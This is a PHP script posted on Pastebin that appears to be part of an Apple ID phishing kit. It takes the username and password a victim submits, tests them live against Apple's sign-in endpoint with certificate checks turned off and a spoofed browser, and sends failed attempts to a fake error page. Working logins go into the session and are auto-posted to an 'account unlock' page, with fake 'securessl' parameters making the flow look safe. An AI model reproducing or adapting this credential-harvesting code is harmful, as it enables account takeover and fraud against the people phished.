Advertisement
Guest User

Untitled

a guest
Jan 10th, 2019
123
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 2.00 KB | None | 0 0
  1. <?
  2. /
  3. */
  4. require "session_protect.php";
  5. require "functions.php";
  6. require "simplehtmldom.php";
  7. $v_ip = $_SERVER['REMOTE_ADDR'];
  8. $username = $_POST['user'];
  9. $password = $_POST['pass'];
  10.  
  11. $url = "https://idmsa.apple.com/IDMSWebAuth/authenticate";
  12. $cookie = "cookie.txt";
  13.  
  14. $postdata = "appleId=".$username."&accountPassword=".$password."&openiForgotInNewWindow=false&fdcBrowserData=&appIdKey=af1139274f266b22b68c2a3e7ad932cb3c0bbe854e13a79af78dcc73136882c3&accNameLocked=false&language=US-EN&path=/signin/?referrer=/account/manage&Env=PROD";
  15.  
  16. $ch = curl_init();
  17. curl_setopt ($ch, CURLOPT_URL, $url);
  18. curl_setopt ($ch, CURLOPT_SSL_VERIFYPEER, FALSE);
  19. curl_setopt ($ch, CURLOPT_USERAGENT, "Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.1.6) Gecko/20070725 Firefox/2.0.0.6");
  20. curl_setopt ($ch, CURLOPT_TIMEOUT, 60);
  21. curl_setopt ($ch, CURLOPT_FOLLOWLOCATION, 1);
  22. curl_setopt ($ch, CURLOPT_RETURNTRANSFER, 1);
  23. curl_setopt ($ch, CURLOPT_COOKIEJAR, $cookie);
  24. curl_setopt($ch, CURLOPT_COOKIESESSION, true);
  25. curl_setopt($ch, CURLOPT_COOKIEFILE, $cookie);
  26. curl_setopt ($ch, CURLOPT_REFERER, $url);
  27.  
  28. curl_setopt ($ch, CURLOPT_POSTFIELDS, $postdata);
  29. curl_setopt ch, CURLOPT_POST, 1);
  30. $result = curl_exec ($ch);
  31. $html = str_get_html($result);
  32.  
  33. if ($html->find('#appleIdURL')) {
  34. curl_close($ch);
  35. redirectTo("../../LoginFailed.php?sslchannel=true&sessionid=" . generateRandomString(80));
  36. die();
  37. }
  38. $ret = $html->find('.welcome-user');
  39. $extr_result = implode(" ",$ret);
  40. $_SESSION['result'] = $extr_result;
  41. curl_close($ch);
  42.  
  43. $_SESSION['user'] = $_POST['user'];
  44. $_SESSION['pass'] = $_POST['pass'];
  45. ?>
  46. <form action='../locked.php?<?php echo $_SESSION['user'];?>&Account-Unlock&sessionid=<?php echo generateRandomString(115); ?>&securessl=true' method='post' name='frm'>
  47. <input type="hidden" name="user" value="<?php echo $_SESSION['user'];?>">
  48. <input type="hidden" name="pass" value="<?php echo $_SESSION['pass'];?>">
  49. </form>
  50. <script language="JavaScript">
  51. document.frm.submit();
  52. </script>
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement